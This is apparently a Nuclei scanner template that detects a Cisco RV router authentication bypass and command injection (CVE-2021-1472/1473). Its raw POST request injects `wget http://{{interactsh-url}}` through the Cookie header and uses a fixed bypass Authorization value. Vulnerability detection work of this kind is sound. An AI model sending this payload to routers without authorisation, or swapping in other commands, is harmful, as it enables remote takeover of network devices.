2022-05-21 15:15:55 +00:00
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id: cisco-rv-series-rce
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info:
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name: Cisco Small Business RV Series - Authentication Bypass and Command Injection
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author: gy741
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severity: critical
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description: |
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Multiple vulnerabilities exist in the web-based management interface of Cisco Small Business RV Series Routers. A remote
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attacker could execute arbitrary commands or bypass authentication and upload files on an affected device. For more infor
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mation about these vulnerabilities, see the Details section of this advisory.
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reference:
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- https://www.iot-inspector.com/blog/advisory-cisco-rv34x-authentication-bypass-remote-command-execution/
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- https://packetstormsecurity.com/files/162238/Cisco-RV-Authentication-Bypass-Code-Execution.html
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- https://nvd.nist.gov/vuln/detail/CVE-2021-1472
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- https://nvd.nist.gov/vuln/detail/CVE-2021-1473
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
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cvss-score: 9.8
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cve-id: CVE-2021-1472,CVE-2021-1473
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cwe-id: CWE-119
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2022-05-23 11:56:06 +00:00
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tags: cve,cve2021,cisco,rce,auth-bypass
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2022-05-21 15:15:55 +00:00
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requests:
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- raw:
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- |
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POST /upload HTTP/1.1
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Host: {{Hostname}}
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Cookie: sessionid='`wget http://{{interactsh-url}}`'
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Authorization: QUt6NkpTeTE6dmk4cW8=
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Content-Type: multipart/form-data; boundary=---------------------------392306610282184777655655237536
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-----------------------------392306610282184777655655237536
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Content-Disposition: form-data; name="option"
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5NW9Cw1J
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-----------------------------392306610282184777655655237536
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Content-Disposition: form-data; name="destination"
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J0I5k131j2Ku
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-----------------------------392306610282184777655655237536
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Content-Disposition: form-data; name="file.path"
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EKsmqqg0
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-----------------------------392306610282184777655655237536
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Content-Disposition: form-data; name="file"; filename="config.xml"
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Content-Type: application/xml
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qJ57CM9
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-----------------------------392306610282184777655655237536
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Content-Disposition: form-data; name="filename"
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JbYXJR74n.xml
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-----------------------------392306610282184777655655237536
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Content-Disposition: form-data; name="GXbLINHYkFI"
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<input><fileType>configuration</fileType><source><location-url>FILE://Configuration/config.xml</location-url></source><destination><config-type>config-running</config-type></destination></input>
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-----------------------------392306610282184777655655237536--
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matchers:
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- type: word
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part: interactsh_protocol
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words:
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- http
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